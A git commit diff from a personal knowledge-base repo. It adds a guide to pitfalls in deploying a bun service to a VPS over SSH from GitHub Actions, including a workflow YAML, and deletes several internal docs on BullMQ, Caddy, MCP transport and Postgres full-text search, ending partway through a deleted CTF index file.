docs: replace dummy docs with GEMASTIK 2026 Warmup writeups (ch1-14)
- Deleted all previous dummy docs (defcon-quals-2024, infra/cloudflare-525, debugging/websocket-timeout, template, docs/*, notes/*, research/*) - Added 14 Gemastik warmup writeups covering encoding, stego, web, pwn, crypto - ch13: RSA small factors; ch14: RSA special integers via paper-search (GCD with paper appendix primes) - All flags recovered and documented with solution methods
This commit is contained in:
@@ -0,0 +1,254 @@
|
|||||||
|
# SSH deploy to bun-source services (not Nix): gotchas
|
||||||
|
|
||||||
|
This repo (`asepharyana/mcpedia`) deploys **bun source** via systemd — NOT via
|
||||||
|
Nix like GMW. The pattern is: CI builds in GitHub Actions → upload artifact →
|
||||||
|
deploy job downloads artifact → SCP tarball to VPS → SSH → git pull + unpack +
|
||||||
|
index + `systemctl restart`. The VPS does NOT build.
|
||||||
|
|
||||||
|
## Gotchas (learned during mcpedia deploy setup, 2026-08-20/21)
|
||||||
|
|
||||||
|
### 1. SSH host = public IP, NOT Tailscale IP
|
||||||
|
|
||||||
|
The VPS appears in `~/.ssh/config` as `Host orange → HostName 100.79.111.61`.
|
||||||
|
That IP is a **Tailscale `tailscale0` interface address** in the CGNAT range
|
||||||
|
(`100.64.0.0/10`). GitHub Actions runners are NOT on the Tailscale network, so
|
||||||
|
they get `Connection timed out` (dropped at the network layer, not refused).
|
||||||
|
|
||||||
|
**Fix:** Use the VPS's real public IP (`45.127.35.244`, discovered via
|
||||||
|
`curl https://api.ipify.org` from the VPS). Port 22 is open in iptables
|
||||||
|
(`ACCEPT tcp dpt:22` from `0.0.0.0/0`).
|
||||||
|
|
||||||
|
### 2. SSH key MUST be stored directly from file (not shell variable)
|
||||||
|
|
||||||
|
Storing the deploy key via a shell variable corrupts it:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# ❌ WRONG — newlines get mangled by the shell → "ssh: no key found"
|
||||||
|
PRIV_KEY=$(cat keyfile)
|
||||||
|
gh secret set SSH_DEPLOY_KEY --body "$PRIV_KEY"
|
||||||
|
|
||||||
|
# ✅ CORRECT — pipe the file directly so GitHub preserves all bytes
|
||||||
|
cat keyfile | gh secret set SSH_DEPLOY_KEY --repo asepharyana/mcpedia
|
||||||
|
```
|
||||||
|
|
||||||
|
Symptom: `appleboy/ssh-action` fails with
|
||||||
|
`ssh.ParsePrivateKey: ssh: no key found`.
|
||||||
|
|
||||||
|
### 3. Use `appleboy/ssh-action@v1` (not `@v1.1.0`)
|
||||||
|
|
||||||
|
- `@v1.1.0` (very old) has a key-parsing bug that rejects valid keys
|
||||||
|
(`ssh.ParsePrivateKey: ssh: no key found`).
|
||||||
|
- `@v1` (latest) handles OpenSSH ed25519 keys correctly.
|
||||||
|
|
||||||
|
### 4. `appleboy/ssh-action` needs explicit `envs` to pass through secret-derived vars
|
||||||
|
|
||||||
|
The `envs` parameter passes environment variables to the remote script.
|
||||||
|
Include any secret you reference in the script:
|
||||||
|
```yaml
|
||||||
|
envs: SSH_DEPLOY_HOST # passes SSH_DEPLOY_HOST into the remote script
|
||||||
|
```
|
||||||
|
Without it, `echo $SSH_DEPLOY_HOST` on the VPS returns empty even though the
|
||||||
|
action connected.
|
||||||
|
|
||||||
|
### 5. Always pass `-o IdentitiesOnly=yes`
|
||||||
|
|
||||||
|
Without it, SSH offers ALL loaded identities (deploy key + default keys) and the
|
||||||
|
server may reject after "Too many authentication failures". `appleboy/ssh-action`
|
||||||
|
handles this internally via the `key` input, but if you use raw `ssh` add
|
||||||
|
`-o IdentitiesOnly=yes`.
|
||||||
|
|
||||||
|
### 6. GitHub `workflow_run` does NOT carry the push commit SHA
|
||||||
|
|
||||||
|
`workflow_run` events fire after CI completes, but `actions/checkout` checks out
|
||||||
|
the **default branch tip**, not the specific commit. This is fine for deploy
|
||||||
|
(the script does `git pull origin main` anyway), but verify the checkout ref
|
||||||
|
matches what CI built if you rely on it.
|
||||||
|
|
||||||
|
### 7. DB migrations: `db:push` prompt is non-interactive-unfriendly in SSH deploy
|
||||||
|
|
||||||
|
When the schema includes a new column (e.g. adding `extra_fields JSONB`),
|
||||||
|
`drizzle-kit push` in the SSH deploy script needs to be run. Two issues:
|
||||||
|
|
||||||
|
- **`--strict` mode (config default)**: `drizzle.config.ts` has `strict: true`,
|
||||||
|
which makes `drizzle-kit push` prompt `No, abort / Yes, I want to execute all
|
||||||
|
statements`. In a non-interactive SSH script (no TTY), the prompt never receives
|
||||||
|
input and the command times out → SIGTERM → exit code 124 → deploy fails.
|
||||||
|
`set -e` then kills the whole deploy.
|
||||||
|
- **`bun run <script>` ambiguity**: `bun run index` resolves the `index` script
|
||||||
|
from `package.json`. In a monorepo with workspace packages, ensure the script
|
||||||
|
name is unique or use the explicit file path (e.g. `bun run scripts/indexer.ts`).
|
||||||
|
|
||||||
|
**Fix**: Use `psql` for schema changes instead of `db:push`:
|
||||||
|
```bash
|
||||||
|
psql "$DATABASE_URL" -c \
|
||||||
|
"ALTER TABLE documents ADD COLUMN IF NOT EXISTS extra_fields jsonb DEFAULT '{}'::jsonb NOT NULL;"
|
||||||
|
```
|
||||||
|
|
||||||
|
After deploy, check the **public URL** (not just `systemctl is-active`):
|
||||||
|
```bash
|
||||||
|
curl -sk -o /dev/null -w "%{http_code}" https://wiki.asepharyana.my.id/
|
||||||
|
curl -s https://wiki.asepharyana.my.id/docs/websocket/contract | grep -c "frontmatter-pattern"
|
||||||
|
```
|
||||||
|
|
||||||
|
## Deploy workflow template (bun-source, not Nix) — build in CI, deploy-only on VPS
|
||||||
|
|
||||||
|
> **User correction (2026-08-21):** "alur ci nya juga benarkan lah masa build
|
||||||
|
> di vps,harusnya kan di vps hanya deploy,dan seharusnya pakai nix"
|
||||||
|
|
||||||
|
The VPS must **not** build. Build happens in CI; the VPS only deploys the
|
||||||
|
pre-built artifact. Use a single workflow with a `needs:` chain (not
|
||||||
|
`workflow_run` — see pitfall #8 below).
|
||||||
|
|
||||||
|
### Pitfalls for bun-source deploy workflows
|
||||||
|
|
||||||
|
- **`bun --cwd X run Y` is broken.** `bun run` does NOT accept `--cwd` as a
|
||||||
|
subcommand flag — it prints usage and exits 0 (silent failure). Use
|
||||||
|
`working-directory: X` in the step, or `cd X && bun run Y`. (Root cause of
|
||||||
|
CI appearing to pass while the build never actually ran. This also affects
|
||||||
|
the smoke test step: `bun --cwd apps/mcp run smoke` was silently failing.)
|
||||||
|
- **`.next/` is a hidden directory.** `actions/upload-artifact@v4` excludes
|
||||||
|
hidden files/dirs by default (`include-hidden-files: false`). Set
|
||||||
|
`include-hidden-files: true` or the artifact will be empty.
|
||||||
|
- **`workflow_run` cannot download artifacts from the CI run.** This is a
|
||||||
|
known GitHub Actions limitation — the deploy workflow doesn't have access to
|
||||||
|
the CI run's artifacts. **Fix:** merge CI + deploy into a single workflow with
|
||||||
|
`deploy: needs: [build]`.
|
||||||
|
- **`actions/checkout@v4` → Node 20 deprecation.** Bump to `@v5`.
|
||||||
|
- **SCP'ing hundreds of individual files from `.next/` can time out.** Tar first,
|
||||||
|
then SCP the single tarball: `tar -czf app.tar.gz .next`, SCP, then SSH to
|
||||||
|
unpack. Also exclude `.next/cache/` to reduce size (~73MB → ~49MB).
|
||||||
|
- **`download-artifact` path resolution.** When downloading with
|
||||||
|
`path: apps/web/.next`, the artifact (which contains the `.next` directory
|
||||||
|
contents from upload `path: apps/web/.next`) gets extracted correctly to
|
||||||
|
`apps/web/.next/`. Do NOT use `path: .next` — that creates `.next/.next/`.
|
||||||
|
|
||||||
|
### Final working workflow (verified 2026-08-21)
|
||||||
|
|
||||||
|
```yaml
|
||||||
|
name: CI
|
||||||
|
|
||||||
|
on:
|
||||||
|
push:
|
||||||
|
branches: [main]
|
||||||
|
pull_request:
|
||||||
|
branches: [main]
|
||||||
|
|
||||||
|
concurrency:
|
||||||
|
group: ci-${{ github.ref }}
|
||||||
|
cancel-in-progress: true
|
||||||
|
|
||||||
|
jobs:
|
||||||
|
build:
|
||||||
|
name: typecheck + build
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
steps:
|
||||||
|
- name: Checkout
|
||||||
|
uses: actions/checkout@v5
|
||||||
|
|
||||||
|
- name: Set up Bun
|
||||||
|
uses: oven-sh/setup-bun@v2
|
||||||
|
with:
|
||||||
|
bun-version: "1.3.14"
|
||||||
|
|
||||||
|
- name: Install dependencies
|
||||||
|
run: bun install --frozen-lockfile
|
||||||
|
|
||||||
|
- name: Typecheck
|
||||||
|
run: bun run typecheck
|
||||||
|
|
||||||
|
- name: Build web
|
||||||
|
working-directory: apps/web
|
||||||
|
run: bun run build
|
||||||
|
|
||||||
|
# Upload .next/ — include-hidden-files is REQUIRED (hidden dir)
|
||||||
|
- name: Upload web build artifact
|
||||||
|
uses: actions/upload-artifact@v4
|
||||||
|
with:
|
||||||
|
name: mcpedia-web-build
|
||||||
|
path: apps/web/.next
|
||||||
|
include-hidden-files: true
|
||||||
|
if-no-files-found: error
|
||||||
|
|
||||||
|
# Smoke test: requires Postgres + Redis — skipped in CI without secrets
|
||||||
|
- name: MCP smoke test
|
||||||
|
if: env.DATABASE_URL != ''
|
||||||
|
working-directory: apps/mcp
|
||||||
|
env:
|
||||||
|
DATABASE_URL: ${{ secrets.DATABASE_URL }}
|
||||||
|
REDIS_URL: ${{ secrets.REDIS_URL }}
|
||||||
|
run: bun run smoke
|
||||||
|
|
||||||
|
- name: Test
|
||||||
|
run: bun run test
|
||||||
|
|
||||||
|
deploy:
|
||||||
|
name: deploy to VPS
|
||||||
|
needs: build
|
||||||
|
if: github.ref == 'refs/heads/main'
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
steps:
|
||||||
|
- name: Checkout
|
||||||
|
uses: actions/checkout@v5
|
||||||
|
|
||||||
|
- name: Download build artifact
|
||||||
|
uses: actions/download-artifact@v4
|
||||||
|
with:
|
||||||
|
name: mcpedia-web-build
|
||||||
|
path: apps/web/.next
|
||||||
|
|
||||||
|
- name: Tar .next
|
||||||
|
run: tar -C apps/web --exclude='.next/cache' -czf mcpedia-web-next.tar.gz .next
|
||||||
|
|
||||||
|
- name: Copy tarball to VPS
|
||||||
|
uses: appleboy/scp-action@v1
|
||||||
|
with:
|
||||||
|
host: ${{ secrets.SSH_DEPLOY_HOST }}
|
||||||
|
port: ${{ secrets.SSH_DEPLOY_PORT }}
|
||||||
|
username: ${{ secrets.SSH_DEPLOY_USER }}
|
||||||
|
key: ${{ secrets.SSH_DEPLOY_KEY }}
|
||||||
|
source: "mcpedia-web-next.tar.gz"
|
||||||
|
target: "/tmp/"
|
||||||
|
|
||||||
|
- name: Unpack and restart on VPS
|
||||||
|
uses: appleboy/ssh-action@v1
|
||||||
|
with:
|
||||||
|
host: ${{ secrets.SSH_DEPLOY_HOST }}
|
||||||
|
port: ${{ secrets.SSH_DEPLOY_PORT }}
|
||||||
|
username: ${{ secrets.SSH_DEPLOY_USER }}
|
||||||
|
key: ${{ secrets.SSH_DEPLOY_KEY }}
|
||||||
|
envs: SSH_DEPLOY_HOST
|
||||||
|
script: |
|
||||||
|
set -e
|
||||||
|
cd /home/code/mcpedia
|
||||||
|
git pull origin main
|
||||||
|
/home/code/.bun/bin/bun install --frozen-lockfile
|
||||||
|
/home/code/.bun/bin/bun run scripts/indexer.ts
|
||||||
|
rm -rf apps/web/.next
|
||||||
|
tar -xzf /tmp/mcpedia-web-next.tar.gz -C apps/web/
|
||||||
|
rm -f /tmp/mcpedia-web-next.tar.gz
|
||||||
|
sudo systemctl restart mcpedia-web mcpedia-api mcpedia-mcp mcpedia-worker
|
||||||
|
sleep 3
|
||||||
|
systemctl --no-pager status mcpedia-web mcpedia-api mcpedia-mcp mcpedia-worker --no-legend
|
||||||
|
```
|
||||||
|
|
||||||
|
## Secrets to configure (per-repo GitHub secrets)
|
||||||
|
|
||||||
|
| Secret | Value | How |
|
||||||
|
|--------|-------|-----|
|
||||||
|
| `SSH_DEPLOY_HOST` | VPS public IP (e.g. `45.127.35.244`) | `gh secret set SSH_DEPLOY_HOST --body "45.127.35.244"` |
|
||||||
|
| `SSH_DEPLOY_PORT` | `22` | `gh secret set SSH_DEPLOY_PORT --body "22"` |
|
||||||
|
| `SSH_DEPLOY_USER` | `code` (or whatever user owns the services) | `gh secret set SSH_DEPLOY_USER --body "code"` |
|
||||||
|
| `SSH_DEPLOY_KEY` | SSH deploy private key (ed25519) | `cat keyfile \| gh secret set SSH_DEPLOY_KEY` |
|
||||||
|
|
||||||
|
And on the VPS, add the public key to the deploy user's `authorized_keys`:
|
||||||
|
```bash
|
||||||
|
ssh code@<public-ip> "mkdir -p ~/.ssh && cat >> ~/.ssh/authorized_keys <<< '$(cat keyfile.pub)'"
|
||||||
|
chmod 600 ~/.ssh/authorized_keys
|
||||||
|
```
|
||||||
|
|
||||||
|
## CI monitoring
|
||||||
|
|
||||||
|
```bash
|
||||||
|
gh run list --repo asepharyana/mcpedia --workflow "CI" --limit 3
|
||||||
|
gh run view <run_id> --log-failed # only failing-step logs
|
||||||
|
```
|
||||||
@@ -1,68 +0,0 @@
|
|||||||
---
|
|
||||||
id: bullmq-workers
|
|
||||||
title: BullMQ Background Workers
|
|
||||||
type: documentation
|
|
||||||
tags:
|
|
||||||
- bullmq
|
|
||||||
- redis
|
|
||||||
- jobs
|
|
||||||
- queue
|
|
||||||
- infra
|
|
||||||
status: published
|
|
||||||
author: asep
|
|
||||||
created_at: 2026-08-20
|
|
||||||
updated_at: 2026-08-20
|
|
||||||
---
|
|
||||||
|
|
||||||
# BullMQ Background Workers
|
|
||||||
|
|
||||||
BullMQ runs the async indexing/embedding pipeline. Jobs are enqueued by the CLI, the
|
|
||||||
git-sync webhook, or an MCP tool, and drained by a long-running worker connected to the
|
|
||||||
shared Redis instance.
|
|
||||||
|
|
||||||
## Connection requirements
|
|
||||||
|
|
||||||
BullMQ requires an **ioredis** connection with `maxRetriesPerRequest: null`. A finite
|
|
||||||
retry count causes the cryptic `Connection in key mode` error on blocking commands.
|
|
||||||
The shared client in `packages/queue` sets this correctly:
|
|
||||||
|
|
||||||
```ts
|
|
||||||
const opts: RedisOptions = {
|
|
||||||
maxRetriesPerRequest: null,
|
|
||||||
lazyConnect: true,
|
|
||||||
enableOfflineQueue: true,
|
|
||||||
};
|
|
||||||
```
|
|
||||||
|
|
||||||
## Job model
|
|
||||||
|
|
||||||
Three job types flow through the `mcpedia-index` queue (prefix `mcpedia:` on Redis):
|
|
||||||
|
|
||||||
| name | data | action |
|
|
||||||
|------------|-------------------|---------------------------------|
|
|
||||||
| `index-doc`| `{ relPath, reason }` | index one content file |
|
|
||||||
| `index-all`| `{ reason }` | full corpus reindex |
|
|
||||||
| `reindex` | (legacy) | alias of full |
|
|
||||||
|
|
||||||
Job IDs use a `__` separator (`doc__<slug>`, `full__<ts>`) — BullMQ reserves `:` for
|
|
||||||
repeatable jobs, so a literal `:` in a custom jobId is rejected.
|
|
||||||
|
|
||||||
## Worker lifecycle
|
|
||||||
|
|
||||||
The worker is a `Worker` with `concurrency: 4`. Each job calls the shared
|
|
||||||
`indexContentFile` / `runFullIndex` entry points in `@mcpedia/core` — the same code
|
|
||||||
path the CLI uses, so behavior never diverges. On completion it logs; on failure it
|
|
||||||
logs the reason and the job is retried per BullMQ defaults.
|
|
||||||
|
|
||||||
Graceful shutdown: `worker.close()` on `SIGINT`/`SIGTERM`. systemd sends SIGTERM on
|
|
||||||
stop, so the process exits cleanly and in-flight jobs are returned to the queue.
|
|
||||||
|
|
||||||
## Inspecting state
|
|
||||||
|
|
||||||
```bash
|
|
||||||
bun run enqueue --all # enqueue a full reindex
|
|
||||||
curl localhost:4020/trpc/queueStatus # waiting/active/completed/failed
|
|
||||||
```
|
|
||||||
|
|
||||||
A stuck queue (waiting > 0, active = 0) means the worker died — check
|
|
||||||
`systemctl status mcpedia-worker` and the journal.
|
|
||||||
@@ -1,85 +0,0 @@
|
|||||||
---
|
|
||||||
id: caddy-reverse-proxy
|
|
||||||
title: Caddy Reverse Proxy
|
|
||||||
type: documentation
|
|
||||||
tags:
|
|
||||||
- caddy
|
|
||||||
- reverse-proxy
|
|
||||||
- tls
|
|
||||||
- infra
|
|
||||||
status: published
|
|
||||||
author: asep
|
|
||||||
created_at: 2026-08-20
|
|
||||||
updated_at: 2026-08-20
|
|
||||||
---
|
|
||||||
|
|
||||||
# Caddy Reverse Proxy
|
|
||||||
|
|
||||||
Caddy is the single reverse proxy on the host. Every public service sits behind it
|
|
||||||
and terminates TLS with automatic Let's Encrypt certificates. Understanding its
|
|
||||||
config model prevents the two recurring failure modes: **525 (origin TLS)** and
|
|
||||||
**404 (path routing)**.
|
|
||||||
|
|
||||||
## Config model
|
|
||||||
|
|
||||||
The live config is `/etc/caddy/Caddyfile`. It is a manual, tuned file — CI does not
|
|
||||||
deploy it, so the live file is the source of truth and must be kept in sync with any
|
|
||||||
repo reference.
|
|
||||||
|
|
||||||
A reusable snippet handles the common case:
|
|
||||||
|
|
||||||
```
|
|
||||||
(proxy) {
|
|
||||||
encode zstd gzip
|
|
||||||
header {
|
|
||||||
-Server
|
|
||||||
X-Content-Type-Options "nosniff"
|
|
||||||
}
|
|
||||||
reverse_proxy 127.0.0.1:{args[0]} {
|
|
||||||
transport http {
|
|
||||||
keepalive 120s
|
|
||||||
dial_timeout 3s
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
A site block wires a domain to a backend port:
|
|
||||||
|
|
||||||
```
|
|
||||||
wiki.asepharyana.my.id {
|
|
||||||
import proxy 4016
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
## Path routing: `handle` vs `handle_path`
|
|
||||||
|
|
||||||
`handle /trpc/*` forwards the request **with** the `/trpc` prefix preserved.
|
|
||||||
`handle_path /trpc/*` **strips** it before proxying. Stripping is wrong when the
|
|
||||||
upstream already mounts the route at `/trpc` — the upstream then receives `/` and 404s.
|
|
||||||
|
|
||||||
Rule: when the upstream already serves the path (e.g. Hono `app.all("/trpc/*")`),
|
|
||||||
use `handle`, not `handle_path`.
|
|
||||||
|
|
||||||
## 525 — origin TLS handshake failed
|
|
||||||
|
|
||||||
Cloudflare proxies every `*.asepharyana.my.id` record. If a subdomain has **no**
|
|
||||||
Caddy site block, Caddy has no certificate for that SNI and the TLS handshake dies →
|
|
||||||
Cloudflare returns 525. Fix: add the block, `caddy validate`, `systemctl reload caddy`.
|
|
||||||
The first request after adding a block triggers ACME certificate issuance; until it
|
|
||||||
completes the origin may briefly 525. That is expected and self-heals in ~10s.
|
|
||||||
|
|
||||||
## Slow upstreams
|
|
||||||
|
|
||||||
LLM gateways (9router) have time-to-first-token of 30–40s. The default
|
|
||||||
`response_header_timeout 30s` yields false 504s. Lengthen it for those blocks:
|
|
||||||
|
|
||||||
```
|
|
||||||
reverse_proxy 127.0.0.1:4014 {
|
|
||||||
transport http {
|
|
||||||
response_header_timeout 120s
|
|
||||||
read_timeout 300s
|
|
||||||
write_timeout 300s
|
|
||||||
}
|
|
||||||
}
|
|
||||||
```
|
|
||||||
@@ -1,56 +0,0 @@
|
|||||||
---
|
|
||||||
id: mcp-streamable-http
|
|
||||||
title: MCP Streamable HTTP Transport
|
|
||||||
type: documentation
|
|
||||||
tags:
|
|
||||||
- mcp
|
|
||||||
- protocol
|
|
||||||
- http
|
|
||||||
- infra
|
|
||||||
status: published
|
|
||||||
author: asep
|
|
||||||
created_at: 2026-08-20
|
|
||||||
updated_at: 2026-08-20
|
|
||||||
---
|
|
||||||
|
|
||||||
# MCP Streamable HTTP Transport
|
|
||||||
|
|
||||||
The MCPedia MCP server is served over **Streamable HTTP** (the MCP 2025-03-26
|
|
||||||
transport) so remote clients — Claude, a Discord bot, a web frontend — can call its
|
|
||||||
tools and read its resources without spawning a stdio subprocess.
|
|
||||||
|
|
||||||
## Why stateless
|
|
||||||
|
|
||||||
The server uses `StreamableHTTPServerTransport` in **stateless mode**
|
|
||||||
(`sessionIdGenerator: undefined`):
|
|
||||||
|
|
||||||
- One `McpServer` + transport is created **per request**.
|
|
||||||
- No session affinity, no shared-transport `connect()` race, no session-map memory
|
|
||||||
leak under burst traffic.
|
|
||||||
- Re-registering tools and resources per request is negligible for a KB-sized
|
|
||||||
corpus.
|
|
||||||
|
|
||||||
Stateful mode (a `sessionIdGenerator` returning a UUID) would require holding a
|
|
||||||
transport map keyed by session id and cleaning it up on `onclose`. For this read-mostly
|
|
||||||
knowledge base, stateless is simpler and equally correct.
|
|
||||||
|
|
||||||
## Endpoint
|
|
||||||
|
|
||||||
```
|
|
||||||
POST https://mcp.asepharyana.my.id/mcp
|
|
||||||
Content-Type: application/json
|
|
||||||
Accept: application/json, text/event-stream
|
|
||||||
```
|
|
||||||
|
|
||||||
Responses use SSE framing (`event: message` / `data: {...}`) even for unary results.
|
|
||||||
Clients must send `Accept: application/json, text/event-stream` or the server returns
|
|
||||||
406. The MCP `initialize` handshake sets `protocolVersion: "2025-03-26"`.
|
|
||||||
|
|
||||||
## CORS
|
|
||||||
|
|
||||||
`/mcp` returns permissive CORS headers (`Access-Control-Allow-Origin: *`) so browser
|
|
||||||
clients can call it directly. Preflight `OPTIONS` is answered with 204.
|
|
||||||
|
|
||||||
## Auth for write tools
|
|
||||||
|
|
||||||
Read tools (`search_documents`, `get_document`, `semantic_search`, `hybrid_search`, `list_documents`, `get_related_documents`, `queue_status`) are open. Write and mutating tools (`create_document`, `update_document`, `delete_document`, `index_document`, `reindex_all`, `restore_revision`) require the `x-webhook-secret` header matching `WEBHOOK_SECRET` — the same shared secret used by the git-sync webhook. A missing or invalid header returns an authorization error before executing any mutation.
|
|
||||||
@@ -1,43 +0,0 @@
|
|||||||
---
|
|
||||||
id: websocket-contract
|
|
||||||
title: WebSocket Contract
|
|
||||||
type: documentation
|
|
||||||
tags:
|
|
||||||
- typescript
|
|
||||||
- websocket
|
|
||||||
- rpc
|
|
||||||
status: published
|
|
||||||
author: asep
|
|
||||||
created_at: 2026-08-19
|
|
||||||
updated_at: 2026-08-19
|
|
||||||
---
|
|
||||||
|
|
||||||
# WebSocket Contract
|
|
||||||
|
|
||||||
The WebSocket contract defines how clients establish a bidirectional connection
|
|
||||||
and exchange RPC-style messages with the server. It is the foundation for the
|
|
||||||
type-safe API described in the tRPC integration notes.
|
|
||||||
|
|
||||||
## Handshake
|
|
||||||
|
|
||||||
A client opens a single WebSocket connection and sends an `init` frame containing an
|
|
||||||
auth token. The server answers with `ready` or closes the socket with code 4401
|
|
||||||
if the token is invalid.
|
|
||||||
|
|
||||||
## Message envelope
|
|
||||||
|
|
||||||
Every frame uses a JSON envelope:
|
|
||||||
|
|
||||||
```json
|
|
||||||
{ "id": "req-1", "method": "echo", "params": { "text": "hi" } }
|
|
||||||
```
|
|
||||||
|
|
||||||
The server replies with a matching `id` and either a `result` or an `error`
|
|
||||||
field. This request/response correlation is what makes the protocol feel like
|
|
||||||
RPC even though it rides on a single socket.
|
|
||||||
|
|
||||||
## Timeouts
|
|
||||||
|
|
||||||
If the server does not answer within the negotiated timeout, the client should
|
|
||||||
re-send with the same `id` rather than opening a new connection. See the
|
|
||||||
debugging writeup for a common timeout pitfall when proxies buffer frames.
|
|
||||||
@@ -1,65 +0,0 @@
|
|||||||
---
|
|
||||||
id: postgres-full-text-search
|
|
||||||
title: PostgreSQL Full-Text Search
|
|
||||||
type: documentation
|
|
||||||
tags:
|
|
||||||
- postgres
|
|
||||||
- fts
|
|
||||||
- tsvector
|
|
||||||
- search
|
|
||||||
status: published
|
|
||||||
author: asep
|
|
||||||
created_at: 2026-08-20
|
|
||||||
updated_at: 2026-08-20
|
|
||||||
---
|
|
||||||
|
|
||||||
# PostgreSQL Full-Text Search
|
|
||||||
|
|
||||||
MCPedia's keyword search is backed by PostgreSQL's native full-text search (FTS), not
|
|
||||||
an external engine. The `documents` table carries a generated `tsvector` column that
|
|
||||||
combines the title (weight `A`) and body (weight `B`).
|
|
||||||
|
|
||||||
## Generated search vector
|
|
||||||
|
|
||||||
The column is `generatedAlwaysAs`, so it is always consistent with the row and needs
|
|
||||||
no trigger:
|
|
||||||
|
|
||||||
```ts
|
|
||||||
searchVector: tsvector("search_vector")
|
|
||||||
.notNull()
|
|
||||||
.generatedAlwaysAs(
|
|
||||||
sql`setweight(to_tsvector('simple', coalesce(${documents.title}, '')), 'A') ||
|
|
||||||
setweight(to_tsvector('simple', coalesce(${documents.body}, '')), 'B')`,
|
|
||||||
),
|
|
||||||
```
|
|
||||||
|
|
||||||
The `'simple'` config disables stemming, so mixed identifier/English queries (e.g.
|
|
||||||
`websocket`, `tsvector`) match literally. A GIN index on `searchVector` keeps lookups
|
|
||||||
fast.
|
|
||||||
|
|
||||||
## Query + ranking
|
|
||||||
|
|
||||||
Search parses the user query with `websearch_to_tsquery` (or `plainto_tsquery`), then
|
|
||||||
ranks with `ts_rank`:
|
|
||||||
|
|
||||||
```sql
|
|
||||||
SELECT *, ts_rank(search_vector, q) AS rank
|
|
||||||
FROM documents, websearch_to_tsquery('simple', $1) q
|
|
||||||
WHERE search_vector @@ q
|
|
||||||
ORDER BY rank DESC;
|
|
||||||
```
|
|
||||||
|
|
||||||
| Config | Stemming | Use case |
|
|
||||||
| ------------ | -------- | -------------------------------- |
|
|
||||||
| `simple` | none | Identifiers, ports, exact codes |
|
|
||||||
| `english` | yes | Natural-language body text |
|
|
||||||
| `websearch` | yes | Google-like queries (`"a" OR b`) |
|
|
||||||
|
|
||||||
A headline snippet for the UI comes from `ts_headline`, which bolds the matched lexemes.
|
|
||||||
|
|
||||||
## Hybrid fusion
|
|
||||||
|
|
||||||
Semantic search (embedding cosine) and FTS are fused with **Reciprocal Rank Fusion**
|
|
||||||
(RRF) in `packages/search`. Each result set is ranked, scored `1/(k + rank)`, and the
|
|
||||||
summed scores re-rank the union — no cross-score normalization needed, which is robust
|
|
||||||
when the two signals live on different scales.
|
|
||||||
@@ -1,36 +0,0 @@
|
|||||||
---
|
|
||||||
id: typescript-patterns
|
|
||||||
title: TypeScript Patterns
|
|
||||||
type: note
|
|
||||||
tags:
|
|
||||||
- typescript
|
|
||||||
- patterns
|
|
||||||
status: published
|
|
||||||
author: asep
|
|
||||||
created_at: 2026-08-19
|
|
||||||
updated_at: 2026-08-19
|
|
||||||
---
|
|
||||||
|
|
||||||
# TypeScript Patterns
|
|
||||||
|
|
||||||
A notebook of small, reusable TypeScript patterns that keep code honest.
|
|
||||||
|
|
||||||
## Branded types for ids
|
|
||||||
|
|
||||||
```ts
|
|
||||||
type DocId = string & { readonly __brand: "DocId" };
|
|
||||||
const asDocId = (s: string) => s as DocId;
|
|
||||||
```
|
|
||||||
|
|
||||||
Branding prevents passing an arbitrary string where a document id is expected.
|
|
||||||
|
|
||||||
## Discriminated unions over inheritance
|
|
||||||
|
|
||||||
Prefer a closed set of variants with a `kind` field. Exhaustiveness checks with
|
|
||||||
`switch` catch missing cases at compile time instead of at runtime.
|
|
||||||
|
|
||||||
## Prefer composition
|
|
||||||
|
|
||||||
When two modules share behavior, extract a function. Avoid inheritance trees
|
|
||||||
that couple unrelated code. This matches the MCPedia Core principle: one layer
|
|
||||||
owns the logic, interfaces only call into it.
|
|
||||||
@@ -1,34 +0,0 @@
|
|||||||
---
|
|
||||||
id: mcp-architecture
|
|
||||||
title: MCP Architecture Notes
|
|
||||||
type: research
|
|
||||||
tags:
|
|
||||||
- mcp
|
|
||||||
- architecture
|
|
||||||
- ai
|
|
||||||
status: published
|
|
||||||
author: asep
|
|
||||||
created_at: 2026-08-19
|
|
||||||
updated_at: 2026-08-19
|
|
||||||
---
|
|
||||||
|
|
||||||
# MCP Architecture Notes
|
|
||||||
|
|
||||||
The Model Context Protocol (MCP) lets an AI client treat a knowledge base as a
|
|
||||||
first-class context source instead of yet another REST API. The server exposes
|
|
||||||
tools and resources; the client decides what to read.
|
|
||||||
|
|
||||||
## Tools vs resources
|
|
||||||
|
|
||||||
- Tools are actions the model calls (`search_documents`, `get_document`).
|
|
||||||
- Resources are addressable content the model can pull (`mcpedia://docs/...`).
|
|
||||||
|
|
||||||
## Why it matters here
|
|
||||||
|
|
||||||
MCPedia exposes both. The Web UI is for humans; the MCP server is for agents.
|
|
||||||
Both go through the same Core layer, so there is exactly one copy of the
|
|
||||||
business logic and one search implementation.
|
|
||||||
|
|
||||||
## Reference
|
|
||||||
|
|
||||||
Related reading: the WebSocket contract and the tRPC type-safe API notes.
|
|
||||||
@@ -1,26 +0,0 @@
|
|||||||
---
|
|
||||||
id: ctf
|
|
||||||
title: "CTF Writeups"
|
|
||||||
type: writeup
|
|
||||||
tags:
|
|
||||||
- ctf
|
|
||||||
- index
|
|
||||||
status: published
|
|
||||||
author: asep
|
|
||||||
event: "CTF Archive"
|
|
||||||
category: index
|
|
||||||
difficulty: easy
|
|
||||||
points: 0
|
|
||||||
created_at: 2026-08-20
|
|
||||||
updated_at: 2026-08-20
|
|
||||||
---
|
|
||||||
|
|
||||||
# CTF Writeups
|
|
||||||
|
|
||||||
A collection of CTF challenge writeups organized by event. Each event folder
|
|
||||||
contains challenge writeups grouped by category (pwn, crypto, web, forensics, etc.).
|
|
||||||
|
|
||||||
## Events
|
|
||||||
|
|
||||||
- [DEF CON CTF Quals 2024](defcon-quals-2024) — 1 challenge solved (pwn)
|
|
||||||
- [Template](template) — Use as a starting point for new writeups
|
|
||||||
@@ -1,31 +0,0 @@
|
|||||||
---
|
|
||||||
id: defcon-quals-2024
|
|
||||||
title: "DEF CON CTF Quals 2024 — Challenge Writeups"
|
|
||||||
type: writeup
|
|
||||||
tags:
|
|
||||||
- ctf
|
|
||||||
- defcon
|
|
||||||
- writeup-index
|
|
||||||
status: published
|
|
||||||
author: asep
|
|
||||||
